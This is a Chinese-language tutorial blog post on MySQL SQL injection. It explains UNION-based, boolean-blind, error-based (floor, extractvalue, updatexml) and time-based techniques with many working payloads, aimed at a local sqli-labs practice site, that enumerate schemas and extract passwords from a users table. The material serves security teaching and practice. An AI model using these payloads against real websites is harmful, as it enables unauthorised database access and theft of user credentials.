SQL注入漏洞(union + 盲注)

目录

前言:

(一)Mysql基础知识

1、网站架构LAMP

2、sql注入的原理

总结SQL定义:

举个栗子:

3、sql注入的危害

4、MySQL中的常用函数

4.1 有关常用函数介绍

4.2  MySQL中的默认表和作用

4.3 MySQL中必须要知道的表

在Information_schema库里面包含要的表:

4.4 必会基本查询语句

4.5 mysql中的注释风格(以下方式都可以)

(二)SQL注入的分类

1、依据注入点类型分类

2、依据提交方式分类

3、依据获取信息的方式分类

4、读取数据的角度

(三)判断是否存在SQL注入

1、手动注入

2、union注入

2.1 什么是union注入

2.2 联合查询一般步骤

(四)盲注

1、Boolean盲注(Boolean-based blind SQL injection)

于是我们可以推断出后端代码:

1.1 判断数据库类型

1.2 注入流程

 1.3 获取字段信息

1.3.1 判断当前数据库名(以下方法不适用于access和SQL Server数据库)

1.3.2 判断当前数据库中的表

1.3.3 判断表中的字段

1.3.4 判断字段中的数据

2、报错查询注入

常用报错注入函数:(hr最爱问的)

2.1 floor报错注入

 总结:        

2.2 ExtractValue报错注入

 2.3 UpdateXml报错注入

2.4 SQL注入之Mysql注入姿势及绕过总结 - 先知社区

3  时间盲注

3.1 利用前提

3.2 利用思路

3.3 延时注入基本格式

3.4 举例

(五)



前言:

        数据库漏洞一直处于OWASP前几名,虽然在2021年滑到第三,漏洞的危害是不言而喻的,数据库可以分为两种:

  • 关系型数据库:

         关系型数据库,存储的格式可以直观地反映实体间的关系。关系型数据库和常见的表格比较相似, 关系型数据库中表与表之间是有很多复杂的关联关系的。 常见的关系型数据库有 MySQL,Oracle, PostgreSQL,SQL Server等。

  • 非关系型数据库:
        随着技术的发展,大量NoSQL数据库如Redis、MongoDB和Memcached处于简化数据库结构、影响性能的表连接、摒弃复杂分布式的目的被设计。NoSQL数据库适合追求速度和可扩展性、业务多变的应用场景

(一)Mysql基础知识


1、网站架构LAMP


    介绍sql注入之前,我们有必要了解一下大致的网站架构,以典型架构LAMP为例

  1.  根据客户端的请求数据类型,可以把服务端资源分为静态和动态资源,静态资源我们平时说的"前台"信息,,包括HTML/CSS/JS等,也就是web服务器可以直接解析客户端请求,不需要借助数据库就能完成.
  2. 但是对于很多网站来说,大量的数据被存储在Mysql服务器中,那么作为web服务器如何从数据库获取数据呢?这时候就要借助"后端脚本"(当然这里是统称,也可以说是后端语言)的力量了.
  3. 常见的后端语言就是asp/aspx/php/jsp等,这些语言我们可以理解为web服务器和mysql之间的桥梁.
  4. 对于很多企业来说,最重要的就是数据. 而这也成为sql注入被很多黑客广泛应用的一种攻击方式.比如黑灰产里的倒卖用户信息,插入一些恶意代码等.

2、sql注入的原理


         首先我们要明白SQLi是发生在红色部分,大多数靶场为了方便演示在前端页面进行注入,但是我们要理解只要有SQL语句进入AWS General Database就存在SQL注入漏洞,下面我们用代码进行分析:

sqlStr: = SELECT *From t1 Where name='s';
当我们正常传入jinyouxin时,没有问题,从t1表中查询到jinyouxin的所有数据
但是当我们输入 jinyouxin' or 1=1 --+
1=1恒成立,也就是select * from t1 所有数据都查出来了。

总结SQL定义:

        对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

举个栗子:

        首先要熟悉HTTP访问,知道数据包发送到服务器处理之后,返回了什么数据,可以用BP抓包具体分析理解,可以看HTTP详细介绍_nj_technology的博客-CSDN博客点这里我之前写的。

        我们进行百度搜索时某个"关键词"时,我们客户端的请求就会被带入数据库查询,正常情况下,我们应该请求一些正确的内容,比如 www.baidu.com/s?id=1,这里,id=1是正常的参数,这里我们要明白这里的id=值会在后端语言进行拼接,但是如果说某个网站存在sql注入漏洞,没有对客户端的输入做过滤,那么当我输入?id=1' and select database() --+    (#,--+是注释)。

        显然select database()就是非法语句,这样漏洞就发生了,简单来说,sql注入就是服务端没有对客户端的输入信息做过滤,并且信息被带入了数据库查询.

3、sql注入的危害


  1. 暴露了数据库里的用户信息;
  2. 获取后台管理员账号和密码,达到进一步渗透的目的;
  3. 一些mysql运行权限过高,可以直接提权成功;
  4. 造成整个数据库被"脱库"等.

4、MySQL中的常用函数


4.1 有关常用函数介绍

  • version(): 查询数据库的版本
  • user():查询数据库的使用者
  • database():数据库
  • system_user():系统用户名
  • session_user():连接数据库的用户名
  • current_user:当前用户名
  •  load_file():读取本地文件
  • @@datadir:读取数据库路径
  • @@basedir:mysql安装路径
  •  @@version_complie_os:查看操作系统
ascii(str) : 返回给定字符的ascii值,如果str是空字符串,返回0;如果str是NULL,返回NULL。如 ascii(“a”)=97

length(str) : 返回给定字符串的长度,如 length(“string”)=6

substr(string,start,length) : 对于给定字符串string,从start位开始截取,截取length长度 ,如 substr(“chinese”,3,2)=”in”

也可以 substr(string from start for length)

substr()、stbstring()、mid() 三个函数的用法、功能均一致

concat(username):将查询到的username连在一起,默认用逗号分隔

concat(str1,’*‘,str2):将字符串str1和str2的数据查询到一起,中间用*连接

group_concat(username) :将username数据查询在一起,用逗号连接

limit 0,1:查询第1个数 limit 5:查询前5个 limit 1,1: 查询第2个数 limit n,1: 查询第n+1个数 

也可以 limit 1 offset 0

4.2  MySQL中的默认表和作用

        在mysql5.0以后,必须要烂熟于心的库

  • Information_schema:提供了所有数据库中的元数据,存储了整个mysql中所有库/表/列
  • Mysql:mysql的核心数据库,用来存储所有用户名/密码和数据库服务权限的信息。
  • Performance_schema:要用于收集数据库服务器性能参数,内存数据库,数据放在内存中直接操作的数据库
  • sys:通过视图的形式把information_schema和performance_schema结合起来,查询出更加令人容易理解的数据

4.3 MySQL中必须要知道的表

在Information_schema库里面包含要的表:

SCHEMATA表:

        存储了数据库中所有数据库的信息,存储字段是schema_name

TABLES表:

        存储了数据库所有表的信息,字段:table_schema,table_name

COLUMNS表:

      存储了数据库中所有列的信息,字段table_schema,table_name,column_name

user_privileges:

        用户权限信息

4.4 必会基本查询语句

// 通过这条语句可以得到第一个的数据库名  
select schema_name from information_schema.schemata limit 0,1
​
// 通过这条语句可以得到第一个的数据表名
select table_name from information_schema.tables limit 0,1
// 通过这条语句可以得到指定security数据库中的所有表名
select table_name from information_schema.tables where table_schema='security'limit 0,1
​
// 通过这条语句可以得到第一个的列名
select column_name from information_schema.columns limit 0,1
// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1
​
//通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users limit 0,1

4.5 mysql中的注释风格(以下方式都可以)

  • # (url编码为%23)
  • -- (--后边要跟上一个或多个空格)
  • /* ..... */
  • /*! .... */ 内联注释
  • select * /*!22222from*/ users;   #数字小于当前mysql版本号,就正常显示;等于或大于就查询异常.

(二)SQL注入的分类


1、依据注入点类型分类

  • 数字类型的注入
  • 字符串类型的注入
  •  搜索型注入

2、依据提交方式分类

  • GET注入
  • POST注入
  • COOKIE注入
  •  HTTP头注入(XFF注入、UA注入、REFERER注入)

3、依据获取信息的方式分类

  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于报错的注入
  • 联合查询注入
  • 堆查询注入 (可同时执行多条语句)

4、读取数据的角度

  • 高权限注入
  • 文件读写

(三)判断是否存在SQL注入


        一个网站有那么多的页面,那么我们如何判断其中是否存在SQL注入的页面呢?我们可以用网站自动化漏洞扫描工具进行扫描,常见的网站漏洞扫描工具有 AWVS、AppScan、OWASP-ZAP、Nessus 

1、手动注入


  • 二话不说,先加单引号’、双引号”、单括号)、双括号))等看看是否报错,如果报错就可能存在SQL注入漏洞了。
  • 还有在URL后面加 and 1=1 、 and 1=2 看页面是否显示一样,显示不一样的话,肯定存在SQL注入漏洞了。
  • 还有就是Timing Attack测试,也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。

        在MySQL中,有一个Benchmark() 函数,它是用于测试性能的,Benchmark(count,expr) ,这个函数执行的结果,是将表达式 expr 执行 count 次 。

因此,利用benchmark函数,可以让同一个函数执行若干次,使得结果返回的时间比平时要长,通过时间长短的变化,可以判断注入语句是否执行成功。这是一种边信道攻击,这个技巧在盲注中被称为Timing Attack,也就是时间盲注。

数据库类型时间注入方式

MySQL

benchmark(100000000,md(5))sleep(3)
PostgreSQLPG_sleep(5)Generate_series(1,10000000)
SQLServerwaitfor delay ‘0:0:5’

易出现SQL注入的功能点:凡是和数据库有交互的地方都容易出现SQL注入,SQL注入经常出现在登陆页面、涉及获取HTTP头(user-agent / client-ip等)的功能点及订单处理等地方。例如登陆页面,除常见的万能密码,post 数据注入外也有可能发生在HTTP头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 i p的,有可能会被存储进数据库中从而与数据库发生交互导致sql注入。

2、union注入


2.1 什么是union注入

        联合查询注入是最简单的一种注入方式,但是要求页面必须有显示位.否则无法注入,显示位:可以理解为从数据库提取的数据被显示在前端. 如果没有显示位,我们无法查看注入的结果.

  2个特性:

  •  前面查询的语句 和 后面的查询语句 结果互不干扰!
  •  前面的查询语句的字段数量 和 后面的查询语句字段数量  要一致

2.2 联合查询一般步骤


  •    先判断是否存在注入,如果存在(正常和异常页面显示不同则存在注入)是字符型还是整型注入;

        我们可以先输入一个',或者输入and 1=1 如果页面返回错误,则存在SQL注入。原因:单引号个数不匹配,紧接着我们就要找是怎么闭合的,

        先看后端代码,对于数字型GET提交,

        我们在看一下sql语句

         我们正常注入语句时

         如果后端id数据类型是int,你输入的内容会被转义成int,varchar就不会有这样的情况,and 1=1为真说明这条语句已经执行,并且为字符型。

         and 1=2为假,不再显示页面。

  • 判断列数 

         order by 用来对表里的数据进行排序,order  by 1 表示按照第一列进行排序.依次类推,直到报错。

  •  找到显示位

         

         id=-1的目的是不想找到数据库多余的数据,我们以真实的系统来举例:我们查到Gift数据,但是对渗透没有什么用,我们想得到的是各个字段会不会把我们传入1,2,3,4回显到前端页面,显然2,3字段是有回显的。

 这里的1,就是'分类'没有的,肯定为错的

        这样,我们联合查询的就显示出来了。可知,第2列和第3列是显示列。那我们就可以在这两个位置插入一些函数了。

我们可以通过这些函数获得该数据库的一些重要的信息

  version() :数据库的版本

  database() :当前所在的数据库

  @@basedir : 数据库的安装目录

  @@datadir : 数据库文件的存放目录

  user() : 数据库的用户

  current_user() : 当前用户名

  system_user() : 系统用户名

  session_user() :连接到数据库的用户名
  •  获取库名

        获取库名的目的就是获取表名,熟悉了步骤的话直接跳过

  • 获取表名

        %27和%20是URL编码,在information_schema.table里面找表名,并且在当前数据库。

 为什么我们想得到一个表,现在给我返回一个表名,这是因为这里我们只可以查询一个id值,即limit 0,1,想让所有表名拼接请来需要group_concat()函数,如下图:

  •  获取列名

         同上,我们获取的表名也可以过滤不重要的信息。

  •  获取字段信息

         或者这样,0x3a是符号法。

(四)盲注


1、Boolean盲注(Boolean-based blind SQL injection)


        有些网站在开发调试阶段开启了报错提示信息,如果没有关闭,就有可能存在报错注入,Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库中的相关信息。

举个栗子:

  • 返回False时:

  • 返回True时:

于是我们可以推断出后端代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    //sql查询语句
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
    if($row){                    //如果查询到数据
          echo 'You are in...........';
    }else{                      //如果没查询到数据
         print_r(mysql_error());    
    }

        于是我们可以通过构造一些判断语句,通过页面是否显示来证实我们的猜想。盲注一般用到的一些函数:ascii()、substr() 、length(),exists()、concat()......当然,几个函数可以搭配使用

1.1 判断数据库类型

        这个例子中出错页面已经告诉了我们此数据库是MySQL,那么当我们不知道是啥数据库的时候,如何分辨是哪个数据库呢?虽然绝大多数数据库的大部分SQL语句都类似,但是每个数据库还是有自己特殊的表的。通过表我们可以分辨是哪些数据库。

  1. MySQL数据库的特有的表是 information_schema.tables
  2. access数据库特有的表是 msysobjects 
  3. SQLServer 数据库特有的表是 sysobjects 
  4. oracle数据库特有的表是 dual

        那么,我们就可以用如下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-1/?id=1' and exists(select*from information_schema.tables) #
​
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-1/?id=1' and exists(select*from msysobjects) #
​
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-1/?id=1' and exists(select*from sysobjects) #
​
//判断是否是Oracle数据库
http://127.0.0.1/sqli/Less-1/?id=1' and (select count(*) from dual)>0 #

        对于MySQL数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件

 information_schema.tables 存储了数据表的元数据信息,下面对常用的字段进行介绍:

table_schema: 记录数据库名;

table_name: 记录数据表名;

table_rows: 关于表的粗略行估计;

data_length : 记录表的大小(单位字节)

1.2 注入流程

 1.3 获取字段信息

 select * from user where id=1 and length(user())>10;  #如果user()用户长度>10,返回就正常,否则返回为空. 这个是完整的查询语句.

在GET请求栏输入

  • ?id=1  and substr((select user()), 1, 1)='r’  #判断用户第一个字符是否为r
  • ?id=1  and substr((select user()), 2, 1)='o'  #判断用户第二个字符是否为o
  • ?id=1  and ascii(“r”)=114
  • ?id=1   and ascii(substr((select user()), 1, 1))>114  #判断用户第一个字符的ascii表是否大于114

1.3.1 判断当前数据库名(以下方法不适用于access和SQL Server数据库)


1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5   //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10   //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7   //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8   //不显示任何数据
​
大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8
​
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>100
​
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100
​
...........
由此可以判断出当前数据库为 security

1.3.2 判断当前数据库中的表


http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin)   //猜测当前数据库中是否存在admin表
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>5 #
​
2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
​
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6
​
3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
​
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #
​
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

1.3.3 判断表中的字段


http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)   //如果已经证实了存在admin表,那么猜测是否存在username字段
1:判断表中字段的个数
//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 #
​
2:判断字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5
​
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5
​
3:判断字段的ascii值
//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100
​
//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100
​
...........
由此可判断出users表中存在 id、username、password 字段

1.3.4 判断字段中的数据


我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
​
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5
​
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5
​
2:判断数据的ascii值
// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100
​
// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100
​

2、报错查询注入


利用前提: 页面上没有显示位,但是需要输出 SQL 语句执行错误信息。比如 mysql_error()

比如说:

有些网站在开发调试阶段开启了报错提示信息,如果没有关闭,就有可能存在报错注入,代码如下:

   $sql = "select * from users where id = '$id'";

#没有显示位,但是查询时有报错提示信息.
$result = mysqli_query($link,$sql) or die("查询出错:".mysqli_error($link));

所以报错注入的条件就是: 网站页面中必须开启了mysqli_error这个函数.

常用报错注入函数:(hr最爱问的)

MYSQL报错注入的一点总结 - 先知社区

2.1 floor报错注入


        floor报错注入是利用 count()函数 、rand()函数 、floor()函数 、group by 这几个特定的函数结合在一起产生的注入漏洞,缺一不可(我大二的时候学过SQL Server 虽然满绩点,但是像这些拼接起来有漏洞的也是第一次接触)

  • rand()

        这是产生随机数的函数,运行 select rand() from user时,假设rand() 产生的数为r,0<r<1,如下图一

      

图一

         但是当我们向它加入随机种子时,它就成为伪随机数:select rand(0) from user;即数据不再随机,变为定值,如图二

图二
  • floor()

        floor(x)返回小于x的整数

  • count()

        聚合函数统计出现的次数

首先是floor()报错产生的条件:

        select count(*) ,floor(rand(0)*2)x from security.users group by x(自定义数据库的一张表)

        floor(rand(0)*2)它只能返回0,和1,后面的x就是别名,这里是简写,具体写应该是:floor(rand(0)*2)  as  x,这里的x只能用于后过滤(having、group by etc),这里最重要的是理解group by 的用法:

我们先新建一个表,再向表中插入数据,如图三

图三

 假如我们输入以下语句

select count(*),name from student group by age

         我们以age进行分组,但是age=21的name有二个,这显然违背了mysql一对一的特性,所以它会直接报错,在5.7之前的版本不会报错,会随机显示其中一条数据,group_concat()会解决该问题,

        我们再来分析select count(*),floor(rand(0)*2)x  from  user  group by x

         首先我们使用伪函数已经生成了固定的"随机数",这个语句会生成一个虚拟的表,如下

count(*)x
0

        现在来说是个空表,第一个伪随机数产生的数据是0,表里面x没有0,于是就直接插入?实际上不是,原因是插入数据时,自动触发 group by x, 我们想要插入的x是0,但是由于自动触发group by x,导致x被替换成了1,count()加一

count(*)x
11

        0和1已经用完,该1,虚拟表里面明显有1,有1的话就不用插入数据了,更新count()加一,不会再触发group by x.

count(*)x
21

        下一个是0,虚拟表没有,没有的话就插入0

count(*)x
21
10

        但是插入数据时又就自动触发group by x,所以最终是:

count(*)x
21
11

        这样显然不对啊,x的值重复了,就会报错。但是报错的前提是数据表里面的数据要大于或等于发生报错的数据,即from information_schema.tables,比如说,刚刚我们生成了6条随机数011011,想让它报错点是0,第4位,也就是我们count(*)第3位,所以数据要大于等于3,才可以报错。

        ​​​​​

                这里报错的内容显示到页面了,我们就可以利用此处得到有价值信息:

select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables
group by x

 总结:
        

floor(rand(0)*2):利用分组时生成的虚拟表出现主键冲突,报出错误信息.

基本格式:

select count(*),concat(/*payload*/,floor(rand(0)*2)) as x from user group by x

    说明:payload可以替换为任意的查询语句.如下所示,database()还可以换成其他的数据库名/表名/列名等语句.concat是mysql中连接多个字符的函数,起到连接作用.

  举例:        

    select count(*),concat(database(),floor(rand(0)*2)) as x from user group by x;   #爆出当前库名

有的时候返回的数据较多时,要加上limit 0,1(从0开始往后试)找到有价值的表。

2.2 ExtractValue报错注入


extractvalue(XML_document,Xpath_string)
  • 第一个参数:XML_document是String格式,为XML文档对象的名称
  • 第二个参数:Xpath_string(Xpath格式的字符串)

        关于xpath有爬虫经验的小伙伴应该很熟悉,相比于XML它查找网页的效率更高(多说一句,正则表达式效率更高,不过不好掌握),具体这里不展开,知道它的语法即可,输入不存在的语法它就会报错

nodename选取此节点的所有子节点
/从当前节点选取直接子节点
//从当前节点选取子孙节点
.选取当前节点
..选取当前节点的父节点
@选取属性

        最简单的就是在最前面加上0x7e(十六进制的~),在用concat()函数

ps: 返回结果 限制在32位字符,我们可以使用mid函数一步步取,先30位,再去30位

1' and extractvalue(1,mid(concat(0x7e,(select password from users limit 0,1)),1,30)#
1' and extractvalue(1,mid(concat(0x7e,(select password from users limit 0,1)),30,30)#
......
// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1'  and extractvalue(1,concat(0x7e,user(),0x7e))#
​
// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
http://127.0.0.1/sqli/Less-1/?id=-1'  and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))#

     基本格式: ?id=1  and extractvalue(1, (payload))
    举例:        ?id=1 and extractvalue(1, concat(0x7e,(select @@version),0x7e))

 2.3 UpdateXml报错注入


      UpdateXml 函数实际上是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码!

updatexml(XML_document,XPath_string,new_value)
  • 第一个参数:XML_document是String格式,为XML文档对象的名称
  • 第二个参数:XPath_string(Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查到的符合条件的数据

作用:改变文档中符合条件的节点的值

// 可以将 user() 改成任何我们想要查询的函数和sql语句 ,0x7e表示的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,user(),0x7e),1)#
​
// 通过这条语句可以得到所有的数据库名,更多的关于informaion_schema的使用看文章头部
http://127.0.0.1/sqli/Less-1/?id=-1'  and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)#

2.4 SQL注入之Mysql注入姿势及绕过总结 - 先知社区

3  时间盲注


3.1 利用前提

        上面二个利用的前提是有显示位和有输出 SQL 语句执行错误信息,如果二个都不满足就要用到time attack.

3.2 利用思路

        思路就是正确的 SQL 语句和错误的 SQL 语句返回页面都一样,但是加入 sleep(5)条件之后,页面的返回速度明显慢了 5 秒

3.3 延时注入基本格式

#IF(Condition,A,B)函数
#当Condition为TRUE时,返回A;当Condition为FALSE时,返回B。
eg:if(ascii(substr(“hello”, 1, 1))=104, sleep(5), 1)

3.4 举例

#(1)判断当前数据库长度

id=3' and if(length(database())>10,sleep(5),1) --+  #判断数据库长度

#(2)获取当前连接数据库第一个字母
if(ascii(substr((select database()), 1, 1))=114, sleep(5), 1) 

#(3)判断第一个数据库第一个字符。
if(ascii(substr((select distinct table_schema from information_schema.tables limit 0, 1), 1, 1))=105,sleep(5), 1) 

(五)


本来想一篇文章说完,后来发现太太太多了。

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

@Camelus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值